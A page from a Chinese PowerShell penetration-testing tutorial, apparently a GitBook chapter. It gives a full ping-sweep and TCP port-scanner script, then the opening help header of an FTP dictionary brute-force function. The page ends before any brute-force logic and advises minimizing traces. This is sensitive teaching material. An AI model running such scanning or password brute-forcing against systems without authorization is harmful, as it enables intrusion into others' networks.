
<!DOCTYPE HTML>
<html lang="" >
    <head>
        <meta charset="UTF-8">
        <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
        <title>端口扫描与服务爆破 · GitBook</title>
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="description" content="">
        <meta name="generator" content="GitBook 3.2.3">
        
        
        
    
    <link rel="stylesheet" href="gitbook/style.css">

    
            
                
                <link rel="stylesheet" href="gitbook/gitbook-plugin-highlight/website.css">
                
            
                
                <link rel="stylesheet" href="gitbook/gitbook-plugin-search/search.css">
                
            
                
                <link rel="stylesheet" href="gitbook/gitbook-plugin-fontsettings/website.css">
                
            
        

    

    
        
    
        
    
        
    
        
    
        
    
        
    

        
    
    
    <meta name="HandheldFriendly" content="true"/>
    <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <link rel="apple-touch-icon-precomposed" sizes="152x152" href="gitbook/images/apple-touch-icon-precomposed-152.png">
    <link rel="shortcut icon" href="gitbook/images/favicon.ico" type="image/x-icon">

    
    <link rel="next" href="6. 多线程.html" />
    
    
    <link rel="prev" href="4. Scoket网络编程.html" />
    

    </head>
    <body>
        
<div class="book">
    <div class="book-summary">
        
            
<div id="book-search-input" role="search">
    <input type="text" placeholder="Type to search" />
</div>

            
                <nav role="navigation">
                


<ul class="summary">
    
    

    

    
        
        
    
        <li class="chapter " data-level="1.1" data-path="./">
            
                <a href="./">
            
                    
                    前言
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.2" data-path="kerberos/README.md">
            
                <span>
            
                    
                    基础篇
            
                </a>
            

            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.2.1" data-path="2. 基础.html">
            
                <a href="2. 基础.html">
            
                    
                    基础知识
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.2.2" data-path="3. 脚本编写与执行.html">
            
                <a href="3. 脚本编写与执行.html">
            
                    
                    脚本编写与执行
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.2.3" data-path="4. Scoket网络编程.html">
            
                <a href="4. Scoket网络编程.html">
            
                    
                    Scoket网络编程
            
                </a>
            

            
        </li>
    
        <li class="chapter active" data-level="1.2.4" data-path="5. 端口扫描与服务爆破.html">
            
                <a href="5. 端口扫描与服务爆破.html">
            
                    
                    端口扫描与服务爆破
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.2.5" data-path="6. 多线程.html">
            
                <a href="6. 多线程.html">
            
                    
                    多线程
            
                </a>
            

            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1.3" data-path="ntlm-pian/README.md">
            
                <span>
            
                    
                    进阶篇
            
                </a>
            

            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.3.1" data-path="7. WMI对象操作.html">
            
                <a href="7. WMI对象操作.html">
            
                    
                    WMI&dot-net对象操作
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.3.2" data-path="8. Win32API.html">
            
                <a href="8. Win32API.html">
            
                    
                    Win32API
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.3.3" data-path="9. Dll注入&shellcode注入&exe注入.html">
            
                <a href="9. Dll注入&shellcode注入&exe注入.html">
            
                    
                    注入操作
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.3.4" data-path="10. 混淆.html">
            
                <a href="10. 混淆.html">
            
                    
                    混淆
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.3.5" data-path="11. 日志操作.html">
            
                <a href="11. 日志操作.html">
            
                    
                    日志操作
            
                </a>
            

            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1.4" data-path="ldap-pian/README.md">
            
                <span>
            
                    
                    应用篇
            
                </a>
            

            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.4.1" data-path="12. 实例使用场景.html">
            
                <a href="12. 实例使用场景.html">
            
                    
                    实例使用场景
            
                </a>
            

            
        </li>
    
        <li class="chapter " data-level="1.4.2" data-path="13. Framework.html">
            
                <a href="13. Framework.html">
            
                    
                    Framework
            
                </a>
            

            
        </li>
    

            </ul>
            
        </li>
    

    

    <li class="divider"></li>

    <li>
        <a href="https://www.gitbook.com" target="blank" class="gitbook-link">
            Published with GitBook
        </a>
    </li>
</ul>


                </nav>
            
        
    </div>

    <div class="book-body">
        
            <div class="body-inner">
                
                    

<div class="book-header" role="navigation">
    

    <!-- Title -->
    <h1>
        <i class="fa fa-circle-o-notch fa-spin"></i>
        <a href="." >端口扫描与服务爆破</a>
    </h1>
</div>




                    <div class="page-wrapper" tabindex="-1" role="main">
                        <div class="page-inner">
                            
<div id="book-search-results">
    <div class="search-noresults">
    
                                <section class="normal markdown-section">
                                
                                <h1 id="powershell5-&#x7AEF;&#x53E3;&#x626B;&#x63CF;&#x4E0E;&#x670D;&#x52A1;&#x7206;&#x7834;">powershell(5)-&#x7AEF;&#x53E3;&#x626B;&#x63CF;&#x4E0E;&#x670D;&#x52A1;&#x7206;&#x7834;</h1>
<h2 id="&#x7AEF;&#x53E3;&#x626B;&#x63CF;">&#x7AEF;&#x53E3;&#x626B;&#x63CF;</h2>
<p>&#x8FD9;&#x91CC;&#x6211;&#x4EEC;&#x5C31;&#x5F00;&#x59CB;&#x4E86;&#x6211;&#x4EEC;&#x7684;&#x7AEF;&#x53E3;&#x626B;&#x63CF;&#x5668;&#x7684;&#x6784;&#x5EFA;, &#x8FD9;&#x91CC;&#x5F88;&#x591A;&#x670B;&#x53CB;&#x80AF;&#x5B9A;&#x4F1A;&#x8BF4;, &#x7AEF;&#x53E3;&#x626B;&#x63CF;&#x4E0D;&#x662F;&#x6709;&#x5F88;&#x591A;&#x5DF2;&#x7ECF;&#x5F88;&#x6210;&#x719F;&#x7684;&#x811A;&#x672C;&#x4E86;&#x4E48;&#x4E3A;&#x4EC0;&#x4E48;&#x8FD8;&#x8981;&#x53BB;&#x5B66;&#x4E60;&#x5462;&#xFF1F;&#x90A3;&#x4E48;&#x6211;&#x4EEC;&#x9996;&#x5148;&#x60F3;&#x4E00;&#x60F3;&#x76EE;&#x524D;&#x7684;&#x4E00;&#x4E9B;&#x4F18;&#x79C0;&#x7684;&#x7AEF;&#x53E3;&#x626B;&#x63CF;&#x90FD;&#x662F;Python&#x6216;&#x8005;Go&#x8BED;&#x8A00;&#x7B49;&#x8FDB;&#x884C;&#x7F16;&#x5199;&#x7684;, &#x5BF9;&#x4E8E;&#x6211;&#x4EEC;&#x5B89;&#x5168;&#x6D4B;&#x8BD5;&#x4EBA;&#x5458;&#x6765;&#x8BF4;&#x5E76;&#x4E0D;&#x662F;&#x6700;&#x4F73;&#x9009;&#x62E9;&#x3002;&#x56E0;&#x4E3A;&#x5BF9;&#x4E8E;Windows&#x7CFB;&#x7EDF;Python&#x4E4B;&#x7C7B;&#x7684;&#x73AF;&#x5883;&#x5E76;&#x4E0D;&#x662F;&#x6BCF;&#x4E00;&#x53F0;&#x7535;&#x8111;&#x90FD;&#x6709;, &#x4F46;Powershell&#x4E0D;&#x540C;&#x6211;&#x4EEC;&#x4E0D;&#x9700;&#x8981;&#x8FDB;&#x884C;&#x8FC7;&#x591A;&#x7684;&#x64CD;&#x4F5C;&#x5373;&#x53EF;&#x8FDB;&#x884C;&#x4E30;&#x5BCC;&#x7684;&#x64CD;&#x4F5C;, &#x8FD9;&#x4E5F;&#x662F;&#x6211;&#x4EEC;&#x4F5C;&#x4E3A;&#x4E13;&#x4E1A;&#x5B89;&#x5168;&#x4EBA;&#x5458;&#x7684;&#x57FA;&#x672C;&#x7D20;&#x517B;: &#x5C3D;&#x53EF;&#x80FD;&#x8FDB;&#x884C;&#x5C11;&#x7684;&#x64CD;&#x4F5C;, &#x56E0;&#x4E3A;&#x4F60;&#x65E0;&#x6CD5;&#x5220;&#x9664;&#x4F60;&#x6240;&#x6709;&#x7684;&#x884C;&#x8E2A;, &#x7269;&#x8D28;&#x5B88;&#x6052;&#x5B9A;&#x5F8B;---&#x6CA1;&#x6709;&#x4EBA;&#x80FD;&#x786E;&#x4FDD;&#x81EA;&#x5DF1;&#x4E0D;&#x7559;&#x4EFB;&#x4F55;&#x75D5;&#x8FF9;, &#x90A3;&#x4E48;&#x8D8A;&#x5C11;&#x7684;&#x64CD;&#x4F5C;&#x65E0;&#x7591;&#x662F;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x601D;&#x8003;&#x7684;&#x3002; 
&#x7AEF;&#x53E3;&#x626B;&#x63CF;&#x811A;&#x672C;&#x5DF2;&#x7ECF;&#x76F4;&#x63A5;&#x653E;&#x5728;&#x4E86;&#x4E0B;&#x9762;, &#x540C;&#x6837;&#x5927;&#x90E8;&#x5206;&#x7684;&#x6CE8;&#x91CA;&#x7B49;&#x5DF2;&#x7ECF;&#x5199;&#x7684;&#x5F88;&#x6E05;&#x6670;, &#x672C;&#x811A;&#x672C;&#x6D89;&#x53CA;&#x5230;&#x7684;&#x51E0;&#x4E2A;&#x70B9;&#xFF1A;</p>
<ol>
<li>&#x811A;&#x672C;&#x53C2;&#x6570;&#x7684;&#x95EE;&#x9898;&#x7684;&#x89E3;&#x51B3;, &#x53EF;&#x4EE5;&#x770B;&#x5230;&#x6211;&#x4EEC;&#x7684;&#x53C2;&#x6570;&#x83B7;&#x53D6;&#x7528;&#x4E86;CmdletBinding&#x7684;&#x65B9;&#x6CD5;&#xFF0C;&#x8FD9;&#x6837;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x8BBE;&#x7F6E;&#x53C2;&#x6570;&#x7684;&#x5F62;&#x5F0F;&#x5C31;&#x6709;&#x5F88;&#x591A;&#x4E86;, &#x6BD4;&#x5982;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x4E00;&#x4E2A;&#x53C2;&#x6570;&#x662F;&#x5426;&#x53EF;&#x9009;&#xFF0C;&#x548C;&#x53C2;&#x6570;&#x7684;&#x4F4D;&#x7F6E;&#x7B49;</li>
<li>&#x4E3B;&#x673A;&#x5B58;&#x6D3B;&#x68C0;&#x6D4B;&#x4F7F;&#x7528;Ping&#x6765;&#x68C0;&#x6D4B;(ICMP)</li>
<li>&#x7AEF;&#x53E3;&#x626B;&#x63CF;&#x8C03;&#x7528;.NET&#x7684;Socket&#x6765;&#x8FDB;&#x884C;&#x7AEF;&#x53E3;&#x8FDE;&#x63A5;&#xFF0C;&#x5982;&#x679C;&#x8FDE;&#x63A5;&#x5EFA;&#x7ACB;&#x4EE3;&#x8868;&#x7AEF;&#x53E3;&#x8FDE;&#x63A5;&#x6210;&#x529F;</li>
</ol>
<pre><code class="lang-powershell"><span class="hljs-keyword">function</span> PortScan {
&lt;<span class="hljs-comment">#</span>
.DESCRIPTION
&#x7AEF;&#x53E3;&#x626B;&#x63CF;

.PARAMETER StartAddress
Ip&#x5F00;&#x59CB;&#x5730;&#x5740; Range

.PARAMETER EndAddress
Ip&#x7ED3;&#x675F;&#x5730;&#x5740; Range

.PARAMETER GetHost
&#x89E3;&#x6790;&#x83B7;&#x53D6;&#x4E3B;&#x673A;&#x540D; HostName

.PARAMETER ScanPort
&#x7AEF;&#x53E3;&#x626B;&#x63CF;&#x53C2;&#x6570;, &#x82E5;&#x4E0D;&#x6253;&#x5F00;&#x5C31;&#x662F;&#x4E3B;&#x673A;&#x5B58;&#x6D3B;&#x7684;&#x63A2;&#x6D4B; PortScan

.PARAMETER Ports
&#x9700;&#x8981;&#x626B;&#x63CF;&#x7684;&#x7AEF;&#x53E3;&#xFF0C;&#x9ED8;&#x8BA4;&#x6709;: <span class="hljs-number">21</span>,<span class="hljs-number">22</span>,<span class="hljs-number">23</span>,<span class="hljs-number">25</span>,<span class="hljs-number">53</span>,<span class="hljs-number">80</span>,<span class="hljs-number">110</span>,<span class="hljs-number">139</span>,<span class="hljs-number">143</span>,<span class="hljs-number">389</span>,<span class="hljs-number">443</span>,<span class="hljs-number">445</span>,<span class="hljs-number">465</span>,<span class="hljs-number">873</span>,<span class="hljs-number">993</span>,<span class="hljs-number">995</span>,<span class="hljs-number">1080</span>,<span class="hljs-number">1086</span>,
    <span class="hljs-number">1723</span>,<span class="hljs-number">1433</span>,<span class="hljs-number">1521</span>,<span class="hljs-number">2375</span>,<span class="hljs-number">3128</span>,<span class="hljs-number">3306</span>,<span class="hljs-number">3389</span>,<span class="hljs-number">3690</span>,<span class="hljs-number">5432</span>,<span class="hljs-number">5800</span>,<span class="hljs-number">5900</span>,<span class="hljs-number">6379</span>,<span class="hljs-number">7001</span>,<span class="hljs-number">7002</span>,<span class="hljs-number">7778</span>,<span class="hljs-number">8000</span>,<span class="hljs-number">8001</span>,
    <span class="hljs-number">8080</span>,<span class="hljs-number">8081</span>,<span class="hljs-number">8089</span>,<span class="hljs-number">8161</span>,<span class="hljs-number">8888</span>,<span class="hljs-number">9000</span>,<span class="hljs-number">9001</span>,<span class="hljs-number">9060</span>,<span class="hljs-number">9200</span>,<span class="hljs-number">9300</span>,<span class="hljs-number">9080</span>,<span class="hljs-number">9090</span>,<span class="hljs-number">9999</span>,<span class="hljs-number">10051</span>,<span class="hljs-number">11211</span>,<span class="hljs-number">27017</span>,<span class="hljs-number">28017</span>,<span class="hljs-number">50030</span>

.PARAMETER TimeOut
TimeOut &#x9ED8;&#x8BA4;&#x662F;<span class="hljs-number">10</span>s TimeOut <span class="hljs-number">100</span>

.EXAMPLE
PS &gt; PortScan -StartAddress <span class="hljs-number">172.16</span>.<span class="hljs-number">50.1</span> -EndAddress <span class="hljs-number">172.16</span>.<span class="hljs-number">50.254</span>

.EXAMPLE
PS &gt; PortScan -StartAddress <span class="hljs-number">172.16</span>.<span class="hljs-number">50.1</span> -EndAddress <span class="hljs-number">172.16</span>.<span class="hljs-number">50.254</span> -GetHost

.EXAMPLE
PS &gt; PortScan -StartAddress <span class="hljs-number">172.16</span>.<span class="hljs-number">50.1</span> -EndAddress <span class="hljs-number">172.16</span>.<span class="hljs-number">50.254</span> -GetHost -ScanPort

.EXAMPLE
PS &gt; PortScan -StartAddress <span class="hljs-number">172.16</span>.<span class="hljs-number">50.1</span> -EndAddress <span class="hljs-number">172.16</span>.<span class="hljs-number">50.254</span> -GetHost -ScanPort -TimeOut <span class="hljs-number">500</span>

.EXAMPLE
PS &gt; PortScan -StartAddress <span class="hljs-number">172.16</span>.<span class="hljs-number">50.1</span> -EndAddress <span class="hljs-number">172.16</span>.<span class="hljs-number">50.254</span> -GetHost -ScanPort -Port <span class="hljs-number">80</span>

<span class="hljs-comment">#&gt;</span>
    [CmdletBinding()] <span class="hljs-keyword">Param</span>(
        [parameter(Mandatory = <span class="hljs-literal">$true</span>, Position = <span class="hljs-number">0</span>)]
        [ValidatePattern(<span class="hljs-string">&quot;\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b&quot;</span>)]
        [string]
        <span class="hljs-variable">$StartAddress</span>,

        [parameter(Mandatory = <span class="hljs-literal">$true</span>, Position = <span class="hljs-number">1</span>)]
        [ValidatePattern(<span class="hljs-string">&quot;\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b&quot;</span>)]
        [string]
        <span class="hljs-variable">$EndAddress</span>,

        [switch]
        <span class="hljs-variable">$GetHost</span>,

        [switch]
        <span class="hljs-variable">$ScanPort</span>,

        [int[]]
        <span class="hljs-variable">$Ports</span> = @(<span class="hljs-number">21</span>,<span class="hljs-number">22</span>,<span class="hljs-number">23</span>,<span class="hljs-number">25</span>,<span class="hljs-number">53</span>,<span class="hljs-number">80</span>,<span class="hljs-number">110</span>,<span class="hljs-number">139</span>,<span class="hljs-number">143</span>,<span class="hljs-number">389</span>,<span class="hljs-number">443</span>,<span class="hljs-number">445</span>,<span class="hljs-number">465</span>,<span class="hljs-number">873</span>,<span class="hljs-number">993</span>,<span class="hljs-number">995</span>,<span class="hljs-number">1080</span>,<span class="hljs-number">1086</span>,<span class="hljs-number">1723</span>,<span class="hljs-number">1433</span>,<span class="hljs-number">1521</span>,<span class="hljs-number">2375</span>,<span class="hljs-number">3128</span>,<span class="hljs-number">3306</span>,<span class="hljs-number">3389</span>,<span class="hljs-number">3690</span>,<span class="hljs-number">5432</span>,<span class="hljs-number">5800</span>,<span class="hljs-number">5900</span>,<span class="hljs-number">6379</span>,<span class="hljs-number">7001</span>,<span class="hljs-number">7002</span>,<span class="hljs-number">7778</span>,<span class="hljs-number">8000</span>,<span class="hljs-number">8001</span>,<span class="hljs-number">8080</span>,<span class="hljs-number">8081</span>,<span class="hljs-number">8089</span>,<span class="hljs-number">8161</span>,<span class="hljs-number">8888</span>,<span class="hljs-number">9000</span>,<span class="hljs-number">9001</span>,<span class="hljs-number">9060</span>,<span class="hljs-number">9200</span>,<span class="hljs-number">9300</span>,<span class="hljs-number">9080</span>,<span class="hljs-number">9090</span>,<span class="hljs-number">9999</span>,<span class="hljs-number">10051</span>,<span class="hljs-number">11211</span>,<span class="hljs-number">27017</span>,<span class="hljs-number">28017</span>,<span class="hljs-number">50030</span>),

        [int]
        <span class="hljs-variable">$TimeOut</span> = <span class="hljs-number">100</span>
    )  
    <span class="hljs-keyword">Begin</span> {
        <span class="hljs-comment"># &#x5F00;&#x59CB;&#x4E4B;&#x524D;&#x5148;&#x8C03;&#x7528;Ping&#x7EC4;&#x4EF6;</span>
        <span class="hljs-variable">$ping</span> = <span class="hljs-built_in">New-Object</span> System.Net.Networkinformation.Ping
    }
    <span class="hljs-keyword">Process</span> {
        <span class="hljs-comment"># &#x56DB;&#x5C42;&#x5FAA;&#x73AF;&#x83B7;&#x53D6;&#x89E3;&#x6790;IP&#x5730;&#x5740;</span>
        <span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$a</span> <span class="hljs-keyword">in</span> (<span class="hljs-variable">$StartAddress</span>.Split(<span class="hljs-string">&quot;.&quot;</span>)[<span class="hljs-number">0</span>]..<span class="hljs-variable">$EndAddress</span>.Split(<span class="hljs-string">&quot;.&quot;</span>)[<span class="hljs-number">0</span>])) {
            <span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$b</span> <span class="hljs-keyword">in</span> (<span class="hljs-variable">$StartAddress</span>.Split(<span class="hljs-string">&quot;.&quot;</span>)[<span class="hljs-number">1</span>]..<span class="hljs-variable">$EndAddress</span>.Split(<span class="hljs-string">&quot;.&quot;</span>)[<span class="hljs-number">1</span>])) {
            <span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$c</span> <span class="hljs-keyword">in</span> (<span class="hljs-variable">$StartAddress</span>.Split(<span class="hljs-string">&quot;.&quot;</span>)[<span class="hljs-number">2</span>]..<span class="hljs-variable">$EndAddress</span>.Split(<span class="hljs-string">&quot;.&quot;</span>)[<span class="hljs-number">2</span>])) {
                <span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$d</span> <span class="hljs-keyword">in</span> (<span class="hljs-variable">$StartAddress</span>.Split(<span class="hljs-string">&quot;.&quot;</span>)[<span class="hljs-number">3</span>]..<span class="hljs-variable">$EndAddress</span>.Split(<span class="hljs-string">&quot;.&quot;</span>)[<span class="hljs-number">3</span>])) {
                    <span class="hljs-comment"># write-progress&#x7528;&#x4E8E;&#x5728;shell&#x754C;&#x9762;&#x663E;&#x793A;&#x4E00;&#x4E2A;&#x8FDB;&#x5EA6;&#x6761;</span>
                    <span class="hljs-built_in">write-progress</span> -activity PingSweep -status <span class="hljs-string">&quot;<span class="hljs-variable">$a</span>.<span class="hljs-variable">$b</span>.<span class="hljs-variable">$c</span>.<span class="hljs-variable">$d</span>&quot;</span> -percentcomplete ((<span class="hljs-variable">$d</span>/(<span class="hljs-variable">$EndAddress</span>.Split(<span class="hljs-string">&quot;.&quot;</span>)[<span class="hljs-number">3</span>])) * <span class="hljs-number">100</span>)
                    <span class="hljs-comment"># &#x901A;&#x8FC7;Ping&#x547D;&#x4EE4;&#x53D1;&#x9001;ICMP&#x5305;&#x63A2;&#x6D4B;&#x4E3B;&#x673A;&#x662F;&#x5426;&#x5B58;&#x6D3B;</span>
                    <span class="hljs-variable">$pingStatus</span> = <span class="hljs-variable">$ping</span>.Send(<span class="hljs-string">&quot;<span class="hljs-variable">$a</span>.<span class="hljs-variable">$b</span>.<span class="hljs-variable">$c</span>.<span class="hljs-variable">$d</span>&quot;</span>,<span class="hljs-variable">$TimeOut</span>)
                    <span class="hljs-keyword">if</span>(<span class="hljs-variable">$pingStatus</span>.Status <span class="hljs-nomarkup">-eq</span> <span class="hljs-string">&quot;Success&quot;</span>) {
                        <span class="hljs-keyword">if</span>(<span class="hljs-variable">$GetHost</span>) {
                            <span class="hljs-comment"># &#x672C;&#x5206;&#x652F;&#x4E3B;&#x8981;&#x89E3;&#x51B3;&#x4E3B;&#x673A;&#x540D;&#x7684;&#x95EE;&#x9898;</span>
                            <span class="hljs-comment"># write-progress&#x7528;&#x4E8E;&#x5728;shell&#x754C;&#x9762;&#x663E;&#x793A;&#x4E00;&#x4E2A;&#x8FDB;&#x5EA6;&#x6761;</span>
                            <span class="hljs-built_in">write-progress</span> -activity GetHost -status <span class="hljs-string">&quot;<span class="hljs-variable">$a</span>.<span class="hljs-variable">$b</span>.<span class="hljs-variable">$c</span>.<span class="hljs-variable">$d</span>&quot;</span> -percentcomplete ((<span class="hljs-variable">$d</span>/(<span class="hljs-variable">$EndAddress</span>.Split(<span class="hljs-string">&quot;.&quot;</span>)[<span class="hljs-number">3</span>])) * <span class="hljs-number">100</span>) -Id <span class="hljs-number">1</span>
                            <span class="hljs-comment"># &#x83B7;&#x53D6;&#x4E3B;&#x673A;&#x540D;</span>
                            <span class="hljs-variable">$getHostEntry</span> = [Net.DNS]::BeginGetHostEntry(<span class="hljs-variable">$pingStatus</span>.Address, <span class="hljs-literal">$null</span>, <span class="hljs-literal">$null</span>)
                        }
                        <span class="hljs-keyword">if</span>(<span class="hljs-variable">$ScanPort</span>) {
                            <span class="hljs-comment"># &#x5B9A;&#x4E49;&#x4E00;&#x4E2A;&#x5F00;&#x653E;&#x7684;&#x7AEF;&#x53E3;&#x6570;&#x7EC4;, &#x5B58;&#x50A8;&#x5F00;&#x653E;&#x7684;&#x7AEF;&#x53E3;</span>
                            <span class="hljs-variable">$openPorts</span> = @()
                            <span class="hljs-keyword">for</span>(<span class="hljs-variable">$i</span> = <span class="hljs-number">1</span>; <span class="hljs-variable">$i</span> <span class="hljs-nomarkup">-le</span> <span class="hljs-variable">$ports</span>.Count;<span class="hljs-variable">$i</span>++) {
                                <span class="hljs-variable">$port</span> = <span class="hljs-variable">$Ports</span>[(<span class="hljs-variable">$i</span>-<span class="hljs-number">1</span>)]
                                <span class="hljs-comment"># write-progress&#x7528;&#x4E8E;&#x5728;shell&#x754C;&#x9762;&#x663E;&#x793A;&#x4E00;&#x4E2A;&#x8FDB;&#x5EA6;&#x6761;</span>
                                <span class="hljs-built_in">write-progress</span> -activity PortScan -status <span class="hljs-string">&quot;<span class="hljs-variable">$a</span>.<span class="hljs-variable">$b</span>.<span class="hljs-variable">$c</span>.<span class="hljs-variable">$d</span>&quot;</span> -percentcomplete ((<span class="hljs-variable">$i</span>/(<span class="hljs-variable">$Ports</span>.Count)) * <span class="hljs-number">100</span>) -Id <span class="hljs-number">2</span>
                                <span class="hljs-comment"># &#x5B9A;&#x4E49;&#x4E00;&#x4E2A;Tcp&#x7684;&#x5BA2;&#x6237;&#x7AEF;</span>
                                <span class="hljs-variable">$client</span> = <span class="hljs-built_in">New-Object</span> System.Net.Sockets.TcpClient
                                <span class="hljs-comment"># &#x5F00;&#x59CB;&#x8FDE;&#x63A5;</span>
                                <span class="hljs-variable">$beginConnect</span> = <span class="hljs-variable">$client</span>.BeginConnect(<span class="hljs-variable">$pingStatus</span>.Address,<span class="hljs-variable">$port</span>,<span class="hljs-literal">$null</span>,<span class="hljs-literal">$null</span>)
                                <span class="hljs-keyword">if</span>(<span class="hljs-variable">$client</span>.Connected) {
                                    <span class="hljs-comment"># &#x52A0;&#x5165;&#x5F00;&#x653E;&#x7684;&#x7AEF;&#x53E3;</span>
                                    <span class="hljs-variable">$openPorts</span> += <span class="hljs-variable">$port</span>
                                } <span class="hljs-keyword">else</span> {
                                <span class="hljs-comment"># &#x7B49;&#x5F85;, &#x8FD9;&#x91CC;&#x7528;&#x4E8E;&#x7F51;&#x7EDC;&#x5EF6;&#x8FDF;, &#x9632;&#x6B62;&#x56E0;&#x4E3A;&#x7F51;&#x7EDC;&#x539F;&#x56E0;&#x800C;&#x6CA1;&#x6709;&#x5224;&#x65AD;&#x5230;&#x7AEF;&#x53E3;&#x7684;&#x5F00;&#x653E;&#x800C;&#x9519;&#x5931;&#x5F88;&#x591A;&#x673A;&#x4F1A;</span>
                                    <span class="hljs-built_in">Start-Sleep</span> -Milli <span class="hljs-variable">$TimeOut</span>
                                    <span class="hljs-keyword">if</span>(<span class="hljs-variable">$client</span>.Connected) {
                                        <span class="hljs-variable">$openPorts</span> += <span class="hljs-variable">$port</span>
                                    }
                                }
                                <span class="hljs-variable">$client</span>.Close()
                            }
                        }
                        <span class="hljs-keyword">if</span>(<span class="hljs-variable">$GetHost</span>) {
                            <span class="hljs-comment"># &#x83B7;&#x53D6;&#x4E3B;&#x673A;&#x540D;</span>
                            <span class="hljs-variable">$hostName</span> = ([Net.DNS]::EndGetHostEntry([IAsyncResult]<span class="hljs-variable">$getHostEntry</span>)).HostName
                        }
                        <span class="hljs-comment"># &#x8FD4;&#x56DE;&#x5BF9;&#x8C61;-&#x54C8;&#x5E0C;&#x8868;</span>
                        <span class="hljs-built_in">New-Object</span> PSObject -Property @{
                        IPAddress = <span class="hljs-string">&quot;<span class="hljs-variable">$a</span>.<span class="hljs-variable">$b</span>.<span class="hljs-variable">$c</span>.<span class="hljs-variable">$d</span>&quot;</span>;
                        HostName = <span class="hljs-variable">$hostName</span>;
                        Ports = <span class="hljs-variable">$openPorts</span>
                        } | <span class="hljs-built_in">Select-Object</span> IPAddress, HostName, Ports
                    }
                }
            }
            }
        }
    }
    <span class="hljs-keyword">End</span> {
        <span class="hljs-comment"># &#x5176;&#x4ED6;&#x811A;&#x672C;&#x8FD0;&#x884C;&#x7ED3;&#x675F;&#x4EE3;&#x7801;</span>
    }
}
</code></pre>
<p>&#x6211;&#x4EEC;&#x5F00;&#x770B;&#x770B;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x626B;&#x63CF;&#x7ED3;&#x679C;:
<img src="https://raw.githubusercontent.com/myoss114/oss/master/uPic/ps5/2.png" alt=""></p>
<p>&#x90A3;&#x4E48;&#x5176;&#x4ED6;&#x626B;&#x63CF;&#x6A21;&#x5F0F;&#x53EF;&#x81EA;&#x884C;&#x6D4B;&#x8BD5;, &#x53EF;&#x4EE5;&#x770B;&#x5230;&#x8FD9;&#x79CD;&#x626B;&#x63CF;&#x662F;&#x77E5;&#x8BC6;&#x5355;&#x7EBF;&#x7A0B;&#x6A21;&#x5F0F;, &#x5173;&#x4E8E;&#x591A;&#x7EBF;&#x7A0B;&#x7684;&#x7F16;&#x7A0B;&#x6211;&#x4EEC;&#x653E;&#x5728;&#x540E;&#x9762;&#x518D;&#x6765;&#x7814;&#x7A76;&#x3002;</p>
<h2 id="&#x670D;&#x52A1;&#x7206;&#x7834;">&#x670D;&#x52A1;&#x7206;&#x7834;</h2>
<p>&#x90A3;&#x4E48;&#x6211;&#x4EEC;&#x8FDB;&#x5165;&#x5230;&#x670D;&#x52A1;&#x7206;&#x7834;&#x7684;&#x9636;&#x6BB5;, &#x90A3;&#x4E48;&#x6211;&#x4EEC;&#x7AEF;&#x53E3;&#x626B;&#x63CF;&#x4E4B;&#x540E;&#x7684;&#x4E00;&#x6B65;&#x5FC5;&#x7136;&#x5C31;&#x662F;&#x8FDB;&#x884C;&#x670D;&#x52A1;&#x7684;&#x5F31;&#x70B9;&#x653B;&#x51FB;, &#x5BF9;&#x4E8E;&#x4E00;&#x4E9B;&#x670D;&#x52A1;&#x6BD4;&#x5982;21FTP&#x548C;&#x6570;&#x636E;&#x5E93;&#x4E4B;&#x7C7B;&#x7684;&#x670D;&#x52A1;&#x8FDB;&#x884C;&#x7206;&#x7834;&#x662F;&#x5B89;&#x5168;&#x6D4B;&#x8BD5;&#x5FC5;&#x7ECF;&#x7684;&#x8FC7;&#x7A0B;, &#x90A3;&#x4E48;&#x6211;&#x4EEC;&#x6765;&#x4EE5;FTP&#x670D;&#x52A1;&#x7206;&#x7834;&#x6765;&#x4E3E;&#x4F8B;</p>
<pre><code class="lang-powershell"><span class="hljs-keyword">function</span> Invoke-BruteForce
{
&lt;<span class="hljs-comment">#</span>

.DESCRIPTION
FTP&#x670D;&#x52A1;&#x7206;&#x7834;&#x811A;&#x672C;

.PARAMETER Computername
&#x4E3B;&#x673A;&#x540D;&#x53C2;&#x6570;

.PARAMETER UserList
&#x7528;&#x6237;&#x5B57;&#x5178;&#x53C2;&#x6570;

.PARAMETER PasswordList
&#x5BC6;&#x7801;&#x5B57;&#x5178;&#x53C2;&#x6570;

.PARAMETER Service
&#x670D;&#x52A1;&#x540D;&#x53C2;&#x6570;

.PARAMETER StopOnSuccess
&#x627E;&#x5230;&#x5BC6;&#x7801;&#x65F6;&#x662F;&#x5426;&#x9000;&#x51FA;

.PARAMETER Delay
&#x7206;&#x7834;&#x65F6;&#x95F4;&#x95F4;&#x9694;, &#x9ED8;&#x8BA4;&#x4E3A;<span class="hljs-number">0</span>

.EXAMPLE
PS C:\Users\rootclay\Desktop\powershell&gt; FTP-BruteForce -ComputerName localhost -UserList 
    C:\Users\rootclay\Desktop\powershell\dict\username.txt -PasswordList 
    C:\Users\rootclay\Desktop\powershell\dict\pass.txt -Service ftp -verbose

<span class="hljs-comment">#&gt;</span>
